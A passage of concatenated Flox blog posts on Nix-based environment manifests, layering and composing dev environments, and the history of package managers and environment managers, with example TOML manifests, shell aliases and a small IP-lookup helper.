**`init`** and **`install`** commands, a TOML file is being assembled behind the scenes. You can use this file to edit, version, and share the environment. Flox creates a lock file for pinning package versions, so you can reliably reproduce the environment anywhere—at anytime. **We chose TOML for its readability. Even basic LLMs can read and understand Flox environment manifests.** This TOML file is packed with comments by default, but users probably won't need them. It contains sections for installing software (**`[install]`**), setting variables (**`[vars]`**), initialization hooks (**`[hook]`**), user shell configuration (**`[profile]`**), service definition (**`[services]`**), and, of course, building software (**`[build]`**. But most sections are optional, and a minimal manifest can be as small as: ``` version = 1 [install] openssh.pkg-path = "openssh" ``` Users who need a bit more than a “virtual cross-platform package manager” (which is already awesome tbh) will find themselves running [**`flox edit`**](https://flox.dev/docs/reference/command-reference/flox-edit/) to tinker with the manifest pretty quickly. This will show them how to create environments that _do stuff_, like starting services, running **`npm ci`**, or downloading models from HuggingFace. When it comes time to help users troubleshoot issues, this manifest gives you a way to exactly recreate their environment. You will be able to copy their manifest, spin up a matching environment, and troubleshoot with a vastly reduced set of variables. **Flox can help reduce the whole "it works on my machine" issue, even in heterogeneous environments.** Better still, your users will be able to create repeatable and portable environments that give them a glimpse of what Nix can do! ## Authoring Environments for Users You don't have to wait for your users to create their own Flox environments. You can create and share them yourself. **As someone who understands how Nix works, your Flox environments can do fancy stuff.** You know how to select the correct set of packages (i.e., choosing **`bashInteractive`** instead of `bash`), you understand how they behave when you combine them (i.e., what happens if you install both **`python310`** and **`python311`**), you are comfortable working with all of the **`pythonPackages`** and **`nodePackages`** collections, and you know how to write Nix expressions or flakes that fill in everything that's missing. For example, you could: - [hydrate environment variables with secrets](https://flox.dev/blog/adding-1password-secrets-to-flox-environments/) - [start complex services](https://flox.dev/blog/flox-1.3-simplified-service-management-with-flox) - [initialize user shells properly across zsh/bash/fish](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/) - [inject shell helpers via flake for common tasks](https://flox.dev/blog/extending-flox-with-nix-flakes/) When you create your environments, you can share them with users by pushing them to FloxHub with **[flox push](https://flox.dev/docs/reference/command-reference/flox-push/)** or checking the **`.flox`** directory into your repo. ## At Flox, We Love Nix We don't just depend on Nix as "our upstream," we rely on the magic of Nix with each and every build. We want to bring this magic to as many people as possible. When you use Flox, you’re exposed to core Nix concepts like reproducibility, determinism, and atomic upgrades/rollbacks. And you also get a sense of how Nix works, with the Flox CLI abstracting _just enough_ to make Nix a bit more intuitive and easier to use. Flox is free to [download and use](https://flox.dev/docs/install-flox/). It's the best way to bring Nix to your teams _where they work_, using their preferred workflows. Give it a try, and recommend it to those who need it. Your users will thank you! This lets teams build for multiple architectures without duct-taping together separate pipelines. They can create a single Nix expression that defines the build, and cross-compilation or native builds just work because dependencies are pinned and fully declared, not inherited from the host system’s state. ## Enterprise Nix FAQs ### Why is Nix valuable for enterprise software development? Nix provides a declarative build system and package manager that ensure software environments are identical across all stages of the software development lifecycle. By isolating dependencies in a read-only store and using input-addressed artifacts, it eliminates "works on my machine" issues and guarantees that builds are reproducible and deterministic. This reliability helps large organizations maintain consistency. It reduces debugging time and streamlines collaboration across diverse engineering teams. ### How can teams adopt Nix without facing a steep learning curve? Use tools that simplify Nix interfaces and integrate familiar command structures. Solutions like Flox abstract the intricacies of the Nix expression language. They allow users to manage environments using intuitive declarative manifests (like TOML files) and standard commands (like install and search). This approach enables developers to leverage portable, reproducible environments without needing to master functional programming concepts or manually manage complex configuration files. ### How does Nix improve software supply chain security and compliance? Nix improves security by baking provenance and determinism directly into the build graph. This allows for the automatic generation of accurate Software Bill of Materials (SBOMs). Because every package’s path is derived from its build inputs, organizations have a precise map of their dependencies. This makes it easier to identify vulnerabilities and ensure that no undeclared code enters the system. ### Can Nix environments integrate with existing CI/CD pipelines? Yes. The environments defined for local development can travel seamlessly across the software development life cycle, including CI/CD pipelines. Because Nix environments carry their runtime dependencies with them in an isolated manner, DevOps engineers can use the exact same definitions to build and test software in CI as developers use locally. These environments can also be exported as containers or deployed to various platforms, ensuring that the software runs predictably regardless of the underlying infrastructure. Title: Composable Dev Environments: Layering and Composition in Flox Source: https://flox.dev/blog/layering-and-composing-flox-environments/ Date: 2025-08-26 Category: guide # Composable Dev Environments: Layering and Composition in Flox Layering and composition are two powerful ways to create and share Flox environments. TL;DR - Layering adds tools dynamically at runtime. - Composition merges environments declaratively at build. - Layering suits ad hoc, flexible workflows best. - Composition ensures reproducibility and version control. - Combine both methods: layering for speed, composition for stability. This guide explores how layering and composition work in Flox—and when and why you might use each. Both let you combine environments, but differ in how they're designed, how they behave, and where they fit. **Layering** is an imperative, runtime pattern. In a [layered Flox stack](https://flox.dev/blog/a-very-short-introduction-to-layering-in-flox/), each environment inherits the capabilities of the ones below it while adding its own. That makes layering ideal for ad hoc use—when a project suddenly needs extra tools or services. **Composition** is declarative, resolving dependencies as soon as you save your edited manifest. You [create a `composing` environment](https://flox.dev/docs/concepts/composition/) that defines one or more `included` environments. Composition gives you a creation-time guarantee that you can successfully build the environment, plus a versioned, shareable composing environment you can reproduce anywhere. With this as a prelude, let’s dig into what layering and composition are and how they work. ## Layering 101: Accessing The Right Tool, Every Time An individual Flox environment is like a foundation: it’s the dev-time environment you use to author, build, run, and debug code, and the production runtime where it executes. But you can stack Flox environments like so many strata, one on top of another. Each new stratum, or layer, adds capabilities on top of what’s beneath it. Imagine you need to debug connectivity issues between the frontend and backend services you’re developing locally on your laptop. To troubleshoot, you’re going to need access to tools like `ncat`, `dig`, `curl`, `httpie`, `nmap`, and others so that you can inspect DNS resolution, open ports, HTTP responses, and network behavior. You’re developing on your bare metal system, but you’re using Flox. Layering gives you a pretty simple solution to this. All you need to do is run **`flox activate -r barstoolbluz/nettools`** from within your project repo. The **`-r`** switch activates a FloxHub environment (`nettools`) versioned under your FloxHub profile. This way you get easy access to required software and services on an ad hoc basis. Packages like: ``` ncat: ncat (7.92) hey: hey (0.1.4) wrk: wrk (4.2.0) curl: curl (7.81.0) dig: dig (9.16.25) dog: dog (1.7) httpie: httpie (3.0.2) jq: jq (1.6) ngrep: ngrep (1.47) openssl: openssl (1.1.1m) socat: socat (1.7.4.3) socket_wrapper: socket_wrapper (1.3.3) websocat: websocat (1.9.0) wstunnel: wstunnel (0.4.1.0) yq: yq (2.13.0) ``` Once you **`flox activate`** the `nettools` environment, you can run these and other pre-defined packages—plus dozens of aliases and helper functions. Like this one: ``` # gipr gets my public-facing ip from ipinfo.io + parses json with jq gipr() { local ip=$(curl -s https://ipinfo.io) gum style --border rounded --border-foreground 240 --padding "1 2" --width 50 \ "$(gum style --foreground 33 --bold "Your Public IP Information")" \ "" \ "$(gum style --foreground 214 "IP:") $(gum style --foreground 82 "$(echo $ip | jq -r .ip)")" \ "$(gum style --foreground 214 "Location:") $(gum style --foreground 82 "$(echo $ip | jq -r '.city + ", " + .region + ", " + .country')")" \ "$(gum style --foreground 214 "ISP:") $(gum style --foreground 82 "$(echo $ip | jq -r .org)")" \ "$(gum style --foreground 214 "Coords:") $(gum style --foreground 82 "$(echo $ip | jq -r .loc)")" } ``` This is a textbook ad hoc use case for layering: you’re in your workflow and need _just the right tool_, a collection of just-the-right tools, or purpose-specific services, automations, and/or helper functions. Layering gives you access to these when and where you need them; when you type `exit` to quit your layered stack, your project is still right where you left it—and there’s no installation residue to clean up. Let’s look at a more advanced application of layering in Flox. ## Layering 202: Design Strategy You can use layering to create modular, purpose-built app, tool, and/or services runtimes—just by activating and stacking pre-built Flox environments one on top of the other. Say you’re working on a TypeScript project and need a local replica of your production database to try out schema changes before shipping to CI. No problem! Just run **`flox activate -s -r platform-team/postgres`** and—presto!—you’ve brought up an ephemeral PostgreSQL instance that’s maintained by your platform team. It matches prod, runs without containers…and vanishes when you’re done. Next, imagine you need Python tools for working with PostgreSQL. Easy! Just layer your team’s **`frontend-team/python-dbms`** Flox environment on top of `[postgres]`. But—shh! don’t tell anyone!—authoring SQL isn’t exactly your métier, so you also need an LLM that generates SQL queries for you. That’s when you fire up your personal **`my-github-handle/ollama`** environment, pull and run `qwen3:14b`, and layer _that_ on top. Now your stack looks like: This pattern supports a _repeatable use case_—you’re working on your service and need to run database-backed tests—but also reflects a _pragmatic balance_, preserving separation-of-concerns boundaries by scoping each Flox environment to a specific concern, while giving teams (and individual devs) the flexibility to activate layers on demand. Since this is a regular part of your workflow, you use an alias to bring up your layered stack: ``` alias cromulent=‘flox activate -r flox/postgres -- \ flox activate -r flox/metabase -- \ flox activate -r flox/nb' -- \ flox activate -r flox/ollama’ ``` True, you _could_ build all of this stuff into a single Flox environment, just as you _could_ use composition to merge each of these into a composed meta-environment. But here, you’re using layering _deliberately_—i.e., as a design pattern that reflects classic separation-of-concerns (SoC) principles, keeping application logic, infrastructure services, and dev tools logically isolated. ### Advantages of Layering in a Dev Environment In both **Layering 101** and **Layering 202**, you activate and layer environments _as you need them_, i.e., in the context of your workflow. This can be mostly ad hoc or (as in **Layering 202**) part of a deliberate strategy. But you neither need to know nor care that you’re layering; what matters is that you’re able to access and use the tools, services, and helper logic you need when and where you need them. These real-world use cases demonstrate several of the essential advantages of layering with Flox. **It’s great for ad hoc requirements**. How many times have you been working on your local system or in a VM/container and needed access to something—a tool, a service, variables, secrets—that wasn’t built into it? Layering gives you a way to bring up not just the tools you need, but a pre-built, preconfigured runtime designed just for them, with services, helper functions, built in env vars, auth management, etc. **It’s convenient**. Because layering is ideal for ad hoc use, you don’t need to design ahead or conform to any spec. There’s no reference standard for making an environment layer-able—[you can layer virtually any Flox environment](https://flox.dev/docs/tutorials/layering-multiple-environments), and you can stack them in nearly any combination. It’s convenient and _ergonomic_. **It reinforces separation of concerns (SOC)**. With layering, dev teams can invoke Flox environments scoped to specific concerns, like auth services or observability (o11y) tools. This separation maps cleanly to _ownership boundaries_, too: for example, platform teams can maintain shared service environments (like `platform-team/postgres`, or `platform-team/o11y`), which dev teams can layer into their workflows. **It’s easier to reuse**. Instead of reinventing the wheel each time, owners can publish tool-, service, or even use case-specific Flox environments—like `platform-team/postgres` and `platform-team/redis`, or `devtools/networking` or `devtools/auth`—and teams can layer them into their workflows as needed. ### Disadvantages of Layering in a Dev Environment **Conflicts surface at runtime, not build time**. Unlike composed environments, layered environments are _implicitly constructed_: you’re stacking Flox subshells, so there’s no single declarative spec you can inspect to see which versions of binaries, or which conflicting env vars, aliases, functions, or services, are accessible. **A layered stack might not behave as expected**. Binaries, variables, and other resources available in lower layers can be overridden or hidden by upper layers. This can lead to situations where upper layers use incompatible versions of binaries, mask identical vars, or silently alter runtime behavior. You may not notice anything’s off until you run a command or reference a var that doesn’t behave quite the way you expected. **Order is everything**. Because layered environments aren’t composed, the order in which they’re layered affects which tools, services, and variables take precedence. To avoid conflicts or unintended overrides, you need to be deliberate about how you layer—especially in workflows where reliability and predictability matter. **They’re harder to share and manage**. Unlike composed environments—which are defined declaratively in a manifest, versioned, and shared across teams—layered environments are assembled procedurally and imperatively at runtime. “Sharing” a layered setup involves documenting the activation sequence and scripting it manually. This makes layered environments less portable, less reproducible, and harder to manage at scale. ## Composition 101: How it Works Rather than telling you what composition is, let’s instead demonstrate how it works. Then we’ll talk about how and why it’s different from layering, and also explore its advantages and disadvantages. Let’s say I’m a Rust developer and that my go-to Rust toolchain consists of my compiler, system build tools, and developer tools. Prior to composition’s debut in version 1.4 of Flox, I might have layered this toolchain as part of my workflow. The process of doing this would have been _procedural_ and _sequential_, like this: ``` flox activate -r barstoolbluz/rustc ``` From within the `rustc` environment, I’d then have activated my `barstoolbluz/rustb` build environment. And once inside _that_ environment, I would have activated my `barstoolbluz/rustd` dev tools. More likely, I’d create an alias that did this for me automatically: ``` alias crusty='flox activate -r barstoolbluz/rustc -- \ flox activate -r barstoolbluz/rustb -- \ flox activate -r barstoolbluz/rustd' ``` But this feels slightly … inelegant? Almost like a four-letter word beginning with “h” that has a pejorative connotation among programmers? To be sure, it’s simple and it works, but … is there a different way? There is. What if one could do something like this in a Flox environment manifest:[a] ``` version 1 [include] environments = [ { remote = "barstoolbluz/rustc" }, { remote = "barstoolbluz/rustb" }, { remote = "barstoolbluz/rustd" } ] ``` If I **`flox activate`** this environment, I’m put into a **`composed`** manifest that merges the manifests from `rustc`, `rustb`, and `rustd`. Typing **`flox list -c`** displays the contents of this `composed` Flox manifest: ``` version = 1 [install] cargo.pkg-path = "cargo" cargo-nextest.pkg-path = "cargo-nextest" clang.pkg-path = "clang" pkg-config.pkg-path = "pkg-config" rust-analyzer.pkg-path = "rust-analyzer" rustc.pkg-path = "rustc" [options] systems = ["aarch64-darwin", "aarch64-linux", "x86_64-darwin", "x86_64-linux"] ℹ️ Displaying merged manifest. ``` ## Composition 202: Composing Full-Stack Environments Let’s look at another example, this time [involving a composed dev manifest for BI and analytics](https://flox.dev/popular-packages/creating-a-reproducible-bi-and-analytics-stack-that-just-works-anywhere-with-flox/). This composed manifest consists of: - Flox’s pre-built PostgreSQL example environment - Flox’s pre-built Metabase example environment - Flox’s pre-built JupyterLab example environment The composing manifest looks like: ``` version = 1 [install] [vars] PGHOSTADDR = "127.0.0.1" PGPORT = "15432" PGUSER = "pguser" PGPASS = "pgpass" PGDATABASE = "pgdb"[b] [include] environments = [ { remote = "flox/postgres" }, { remote = "flox/metabase" }, { remote = "flox/nb" } ] ``` This second example illustrates a different, equally powerful use case for composition: creating full-stack environments composed of multiple runtime services. The composed Rust environment in **Composition 101** combined separate compiler, build tool, and dev tool environments to create a unified runtime for Rust development. It’s a workflow-specific composed environment designed for modular, repeatable software development. The composed manifest shows how composition can be used to define _a complete software stack_: in this case, a database, BI layer, and notebook interface. Each component (PostgreSQL, Metabase, JupyterLab) is usable on its own, but when they’re composed declaratively, they become a reproducible, portable stack environment: a composed manifest designed for repeatable data exploration and analysis. Other potential patterns include: - **Ephemeral manifests for testing**. Much like you’d create a multi-container runtime in Docker Compose by wiring together an app runtime (e.g., `foo/node-app`) with a test driver env (`foo/playwright`) and database or cache services (`foo/postgres`, `foo/redis`) to create an ephemeral test environment for integration testing, you can use composition to define a composed manifest for integration testing that Just Works anywhere. - **Polyglot projects and/or monorepos**. For a monorepo with language-specific subprojects—say, Python (`foo/python`) for data, Node.js (`foo/nodejs`) for frontend, and Rust (`foo/rust`) for a CLI—you can combine separate, language-specific manifests using a single composing manifest. - **Portable sandbox/demo environments**. See [this article](https://flox.dev/blog/creating-a-reproducible-bi-and-analytics-stack-that-just-works-anywhere-with-flox/) for an excellent example of how this works. Composition lets you create demo environments that Just Work anywhere, at any time, without containers. It’s an elegant alternative to building all requirements (including setup/teardown logic) into a single manifest. ### Advantages of Composition **It’s shareable**. Composition gives you a reliable, manageable, convenient way to combine separate Flox environments into a single, unified manifest. You can use it to design the equivalent of **multi-container runtimes**, as shown above—and showcased in the [composed Flox environment](https://hub.flox.dev/barstoolbluz/metabase-postgres/manifest) for [Metabase](https://github.com/metabase/metabase) and [PostgreSQL](https://github.com/postgres/postgres) featured in [this guide](https://flox.dev/blog/creating-a-reproducible-bi-and-analytics-stack-that-just-works-anywhere-with-flox/). **Composition gives you deterministic safeguards**. With _layering_, you can’t detect incompatibilities until _runtime_. You're stacking subshells, one on top of the other, each of which inherits libraries and env vars from the ones beneath it. There’s no build graph to resolve and no hash-based validation; instead, any conflicts are resolved implicitly by whatever is defined in the most recently activated shell. So if two environments expose the same binary or define the same environment variables, the one “on top” silently wins With _composition_, by contrast, Flox resolves all dependencies at _creation time_, i.e., _when it merges the `included` manifests. This means the composed environment is built from known inputs, hashed, cached, and validated as to its structure. If there are conflicts—e.g., duplicate binaries, conflicting setup or teardown logic, incompatible packages—they surface at composition time, and the merged manifest explicitly fails unless you resolve them. _You get reproducibility and determinism because the composed manifest is materialized from an immutable spec._ **Composed manifests can be shared, and audited**. A composed Flox manifest isn’t just something you activate. Rather, it’s something you _declare_, its meta-structure explicitly defined in the manifests of the `composing` and `composed` Flox manifests—down to what it includes, what variables it sets, what hooks it runs, what services it starts. This definition is declarative, reproducible, and portable. It's a concrete, inspectable object—just like source code. For this reason, the `composing` manifest _can itself_ be versioned, shared, and audited. You can push a `composing` manifest to FloxHub and manage it just like any other Flox manifest. And pushing to GitHub gives you a way to manage/version project code alongside runtime dependencies. ### Disadvantages of Composition **It isn’t ideal for ad hoc tasks**. With composition, you have to define the composing manifest _ahead of time_. That’s great for repeatable use cases, projects, CI, or anything long-lived—but it makes for a protracted cold start time if you just need to quickly access and use tools as part of your workflow. **It elides separation of concerns (SOC)[c]**. One pattern we see with layering is that users create environments that preserve modularity and subshell-level isolation, reflecting SOC priorities. With layering, each Flox environment lives in its own subshell with its own boundaries; services, variables, and hooks are scoped to that layer unless explicitly overridden. Conversely, merging separate Flox manifests into a composed manifest elides these boundaries: it is not unlike smushing them together. **It works best when manifests are designed with composition in mind**. The included Flox manifests should ideally be _compatible by design_—with authors taking care to avoid overlapping environment variables, conflicting setup or teardown logic, or similar (but subtly different) service definitions. If Flox environments aren’t built with composition in mind, you're more likely to have build-time failures. **It _may_ favor unified ownership.** Composition, _when used deliberately_, tends to work best when a single person, team, or project owns all composed manifests. When manifests are owned and maintained by different parties, composing them doesn't just create a shared responsibility, but a situation where deliberate design and active coordination) are required for sustainable scaling.. ## Both/and, not either/or Ready for the best part? Layering and composition are designed to be used together. Say you’re working in the composed BI and analytics manifest described in **Composition 202**, above. You need a fast way to run DDL statements or ad hoc queries without dropping into `psql`. So you run **`flox activate -r barstoolbluz/harlequin`** to layer your [Harlequin SQL TUI](https://github.com/tconbeer/harlequin) environment on top of your composed `metabase-postgres` manifest. You couldn’t ask for a [faster, prettier solution](https://flox.dev/blog/psst-want-a-pretty-polished-and-powerful-sql-ide-for-your-terminal/) to your problem. But wait. There’s more. You can likewise layer composed manifests _on top of_ one another. Imagine you’re trying to refactor one of your org’s Rust-based services to work with Kafka’s new [KRaft protocol](https://developer.confluent.io/learn/kraft/). You’re using a composed Flox manifest, `barstoolbluz/kafka-stack`, combining manifests for Kafka, Karapace (an open source schema registry for Kafka), and Kafka Connect. On top of this, you run `flox activate -r barstoolbluz/crust`, layering your composed `crusty` Rust toolchain so you build against a local mirror of your Kafka stack. And … this Just Works. Even better, you can add _even more_ layers—mixing and matching discrete Flox environments or composed manifests. Need to layer an LLM on top of your layered-composed Flox stack? Go ahead. Want to layer a composed manifest that merges separate Colima, Kind, and Localstack Flox environments? Go ahead! Just be aware that you’re stacking runtime contexts, not composing manifests. That means conflicts can surface unexpectedly—at runtime, not build time—especially when you’re layering discrete environments with composed manifests ## Layering and Composition Give You Superpowers Layering and composition are two powerful ways to create and share Flox environments. Layering gives you flexibility when you’re working in emergent, unpredictable situations. It’s ideal for use cases where you just need a specific toolset (like `nettools`) or a service (like `postgres`). Composition gives you reproducibility, auditability, and predictable behavior at runtime—at the cost of upfront design and testing. The beauty is that you can combine them: use composition to define portable stacks, layering in the extras you need to get work done. Whether you’re debugging a service, building a dev sandbox, or shipping to prod, Flox lets you define environments that reflect how you actually want to work—not the other way around. If you’re intrigued by what you’ve read here, check out [the Flox Docs](https://flox.dev/docs/#get-started) for more. And if you’re more than just intrigued, why not [download Flox](https://flox.dev/docs/install-flox/) and take it for a test drive? Start by creating your first environment and layering in a few tools—you’ll get the feel in just minutes! ## Composable Dev Environment FAQs ### What are composable dev environments? Composable development environments are modular, flexible setups where each part of a developer’s toolchain is packaged as an independent, reusable environment that can be combined (or composed) into complete stacks. They allow developers to construct specific toolchains as needed. ### What are the main benefits of a composable dev environment? This approach offers enhanced reproducibility across different systems, faster setup times for new projects, and the ability to share consistent development setups across teams. It also promotes better isolation of dependencies, minimizing conflicts and streamlining complex workflows. ### How does Flox's composition feature differ from layering for environment management? Flox's composition is a declarative, creation-time pattern where multiple environment manifests are merged into a single, unified environment, resolving dependencies at build time. Layering, conversely, is an imperative, runtime pattern where environments are stacked as subshells, adding capabilities on demand. Unlike traditional containerization approaches, Flox operates at the package level. Composition provides determinism and shareability, ideal for repeatable full-stack setups, while layering offers ad-hoc flexibility for temporary tool additions. ### How does Flox ensure the reproducibility and portability of composed environments? Flox achieves reproducibility and portability by leveraging Nix under the hood, storing all software artifacts in an immutable build cache with content-derived cryptographic hashes. This means every component's path is unique. Every component includes a hash of its entire dependency tree, preventing binary mismatches and ensuring consistent behavior regardless of the underlying operating system or architecture. Composed environments are built from these known, validated inputs. ### Can Flox environments be used for ephemeral development and testing? Yes, both layering and composition in Flox are well-suited for ephemeral development and testing. Layering allows for the temporary activation of specific tools or services for ad-hoc debugging or experimentation, which disappear upon exit. Composition enables the declarative definition of entire ephemeral stacks (e.g. database, BI layer, and notebook interface) ensuring a reproducible and portable testing environment that can be spun up and torn down as needed for integration tests or demos. Title: Package Managers and Package Management: A Guide for the Perplexed Source: https://flox.dev/blog/package-managers-and-package-management-a-guide-for-the-perplexed/ Date: 2025-08-08 Category: guide # Package Managers and Package Management: A Guide for the Perplexed The most important problem in packaging is how to efficiently, reliably, and securely packaging and distributing software so builds are deterministic and runs are portable and reproducible Traditional package managers are a lot like [managed care for code](https://en.wikipedia.org/wiki/Managed_care). A managed care provider routes you to in-network options, handles approvals and paperwork, and authorizes treatment. Their job is to get you the care you need while also balancing a set of hard constraints. Just as a managed care provider doesn’t always get you the treatment, doctors, or brand-name drugs you request, a package manager doesn’t always get you the specific versions of dependencies you want. Its overriding credo isn’t “give the user exactly what they want,” it’s “first do no harm.” ## A New Hope It doesn’t have to be this way. [apt](https://en.wikipedia.org/wiki/APT_(software)) and other system package managers debuted almost 30 years ago, conceived for a world where most development on Linux and the BSDs was in C and C++, with Perl and shell scripts used to stitch everything together. But back then, persistent connectivity was the exception, not the rule: You either brought your computer _to_ the network—e.g.. a [LAN party](https://en.wikipedia.org/wiki/LAN_party), an office intranet—or you used dial-up to fetch tarballs. There was no notion of an automated, continuous software pipeline, where every step—from builds to distribution to policy enforcement—is expressed as code, and where packaging spans all layers of the stack, from the OS up through VMs, containers, language ecosystems, and cloud platforms. System package managers like apt, [dnf](https://en.wikipedia.org/wiki/DNF_(software)), [Zypp](https://en.wikipedia.org/wiki/Zypp), and [Homebrew](https://en.wikipedia.org/wiki/Homebrew_(package_manager)) coexist with language or ecosystem-specific tools such as [npm](https://en.wikipedia.org/wiki/Npm), [pip](https://en.wikipedia.org/wiki/Pip_(package_manager)), [Cargo](https://en.wikipedia.org/wiki/Rust_(programming_language)#Cargo), and [Maven](https://en.wikipedia.org/wiki/Apache_Maven). Elsewhere, solutions like [Conda](https://en.wikipedia.org/wiki/Conda_(package_manager)), [uv](https://github.com/astral-sh/uv), [poetry](https://github.com/python-poetry/poetry), [bun](https://github.com/oven-sh/bun), and [deno](https://github.com/denoland/deno) collapse package and environment management into a single tool. Meanwhile, [OCI containers](https://en.wikipedia.org/wiki/Open_Container_Initiative) and desktop app bundles (like [Flatpak](https://en.wikipedia.org/wiki/Flatpak), [Snap](https://en.wikipedia.org/wiki/Snap_(software)), and [AppImage](https://en.wikipedia.org/wiki/AppImage)) standardize how teams ship apps or code with their runtimes. These formats achieve reproducible, host-agnostic behavior at runtime by bundling dependencies—albeit at the cost of some redundancy vis-à-vis system-wide packages. Each solves different problems with software packaging and package management; none solves the most important problem of all: that of guaranteeing reproducible behavior at build and runtime, so software always builds and runs the same in local dev, CI, and prod, on-prem or in the cloud—today, tomorrow or next year. Each aims to solve specific problems with software packaging and package management; none solves the most important problem of all: that of guaranteeing reproducible behavior at build _and_ runtime, so software always builds or runs the same in local dev, CI, and prod, on-prem or in the cloud—today, tomorrow, next year. This is _exactly_ the problem that Nix and Flox—which is powered by Nix—were designed to solve. They both model build or runtime environments as purely functional [derivations](https://nixos.org/guides/nix-pills/06-our-first-derivation.html), the outputs of which live in an immutable, hash-addressed store. With Nix and Flox, the same declarative specs _always_ yield the same dependencies. This design makes it possible to reproduce a build or runtime environment on any machine, anywhere, at any time. ## A Crash Course in the History and Role of Package Managers A quarter century ago, on Unix/BSD and early Linux distributions, most software came in the form of source tarballs: you’d unpack them, run **`./configure && make && make install`**, and then waste minutes, hours, even _days_ wrestling with missing headers, incompatible versions of shared libraries, and compiler quirks across dev setups and platforms. When they debuted, package managers like **`apt`**, **`pacman`**, and **`rpm`** seemed like a godsend: they standardized how operating systems install software, resolve dependencies, and distribute precompiled binaries—or, in source-based systems, by automating those build steps. So **`apt`**, **`rpm`**, and other package managers solved a problem at the _operating-system level_, but couldn’t keep up with the growing variety and complexity of the software built using those systems. As languages evolved into full-blown ecosystems, they introduced their own layers of dependency management. This set the stage for the emergence of language-specific tools like **pip** for Python and **npm** for Node.js. Each language started carving out its own ecosystem, complete with registries, dependency graphs, and build and packaging tools that (then as now) operate independently of the host system. Today, different types of package managers exist to solve different types of problems. Some (like **`apt`** and **`dnf`**) manage system-wide software, others handle programming language-specific packages, and some focus on creating isolated, language- or toolchain-specific development environments. In general, package managers do four main things: - Resolve dependencies; - Install packages; - Handle updates; and - Maintain a consistent system or environment as they apply those changes. Some language ecosystems, like Python and Node.js, isolate dependencies via virtual environments or version managers; others, like Rust and Go, achieve comparable isolation via project-local manifests and reproducible builds, rather than dedicated environments. Beyond language and system package managers, tools like Snap, Flatpak, and AppImage package entire application runtimes, aiming to deliver reproducible behavior across machines. Containers take this logic even further, extending isolation down to the process level; encapsulating filesystem state, environment variables, networking; and even user permissions within their own namespace. This creates a hermetic boundary between the application and the host. ## The Difference Between Package and Environment Managers In this section and the ones that follow, I use Python and JavaScript/TypeScript as exemplars because their ecosystems expose (more than most) the practical tensions between package management and runtime isolation. Both rely heavily on native extensions—i.e., modules written in C, C++, or Rust that compile against system headers and libraries—and both run atop cross-platform runtimes (the CPython interpreter or the Node.js runtime) that must bridge different operating systems, architectures, and ABIs. Most language- or toolchain-specific ecosystems divide responsibility between **tools that manage packages** and **tools that manage environments**. Take Python, for example. There’s no single tool that manages the whole of a Python project’s dependency graph—including indirect, system-level, and non-language dependencies. Instead, Python developers tend to combine several utilities, each of which is responsible for a different part of the lifecycle. For instance, **`venv`** creates isolated environments; **`pip`** installs and resolves packages inside them; and **`requirements.txt`** files record version pins but stop short of full dependency locking. To achieve reproducible build- and run-time behaviors, Python developers rely on tools such as [uv](https://github.com/astral-sh/uv), [Poetry](https://python-poetry.org/), [PDM](https://pdm-project.org/en/latest/), or [pip-tools](https://pypi.org/project/pip-tools/). These tools collapse the familiar boundary between _where_ packages live and _how_ they get installed, although they don’t extend to system libraries or external runtimes. They work by generating lockfiles that record the complete Python dependency graph computed by the resolver. Lockfiles pin specific versions of packages, record transitive Python dependencies, and compute cryptographic hashes over the wheels, crates, or tarballs to be installed. In JavaScript, software like **`npm`** performs the package manager’s role, while tools like **`nvm`** manage Node.js runtime versions. **`nvm`** lets a developer switch between interpreter versions _but does not isolate project dependencies_; that task belongs to tools like **`npm`**, which install packages into a project-local **`node_modules tree`**. The upshot is that both the Python and JavaScript ecosystems rely on _pairings of tools_ rather than an integrated package and environment manager. Each ecosystem bifurcates environment management and package management; each expects _the developer herself_ to coordinate these activities. This pattern isn’t specific to the Python and JavaScript/Typescript ecosystems. True, some languages, such as Rust and Go, blur these responsibilities, at least to a degree. For example, both Cargo and Go Modules manage dependency resolution and project-level reproducibility within a single framework. But because they still rely on the host for compilers, libraries, and runtime behavior, reproducibility with Rust and Go projects ends at the project boundary: these ecosystems manage toolchain-specific _dependencies_, but not the _runtime environment_ in which those dependencies live and run. ## Two Distinct Approaches to Environment Management Both **`venv`** and **`nvm`** give you a way to manage your project environments, but come at this problem from different directions: **`venv`** isolates at the _Python project level_, while **`nvm`** does so at the _Node runtime level_. The distinctions below clarify the boundaries of their responsibilities—i.e., scope, what each manages, and how Python and JavaScript/TypeScript developers use them in practice. ### Scope - **`venv`** creates a separate Python environment per project. It changes **`PATH`** and **`site-packages`** for that project only. Think of this as _project level_ isolation. - **`nvm` (user-level)** installs and selects Node.js versions at the user-level: it installs multiple Node versions under the user’s **`$HOME`** directory and switches between them by updating the shell’s **`PATH`**. The selected runtime spans projects—unless a developer pins a Node.js version in a project’s **`.nvmrc`** file. ### Responsibilities - **`venv`** is analogous to an environment container for Python. It does not install packages; **`pip`** does that inside the **`venv`**. Note: newer tools like **`uv`** combine these steps, chiefly by creating and populating environments automatically as part of the work of managing dependencies. - **`nvm`** manages the Node.js runtime version. It does not manage per-project packages; rather, **`npm`** installs those in the project’s **`node_modules`** tree. Note: **`nvm`** does not manage alternative JavaScript runtimes such as [Bun](https://github.com/oven-sh/bun) or [Deno](https://github.com/denoland/deno). Like **`uv`**, these tools collapse interpreter, package manager, and dependency resolver into one solution. ### How teams use them - **With Python**, developers create a **`venv`**, then run **`pip`** to install the project’s dependencies. Newer tools such as **`uv`** and **`Poetry`** simplify this process: running a single command (**`uv sync`** or **`poetry install`**) creates an isolated environment and installs required packages automatically. - **With JavaScript**, developers use **`nvm`** (or alternatives such as [n](https://github.com/tj/n), [fnm](https://github.com/Schniz/fnm), or [volta](https://github.com/volta-cli/volta), then run **`npm`** to install the project’s dependencies. Tools like **`bun`** and **`deno`** simplify this: running **`bun install`** or **`deno cache`** resolves and caches dependencies without requiring an external tool like **`nvm`** or **`npm`**. ### Mind the Gap Tools like uv, Bun, and Deno stop at the language boundary. They give you Python and JavaScript dependencies, but don’t define compilers, source headers, C libraries, etc. that builds and processes rely on. This means that build- and run-time reproducibility cease at the project boundary. This is a feature, not a bug: it’s consistent with how all traditional OS- or ecosystem-specific package managers behave. Systems like Nix (and software built on top of it, such as Flox) push past that limit. They describe the runtime, toolchains, libraries, and packages in a single declarative artifact. They give you a specification you can use to recreate a project’s _complete runtime environment_ on any machine, at any time. This shifts the locus of environment management from a set of commands to a _declared end state_: basically, a declarative recipe for reproducing an environment. Nix and Flox materialize that state the same way each time. ## Package Managers vs. Containers Most package managers exist to solve problems with operating systems, languages, or runtimes. This means their scope almost always stops at either the project boundary 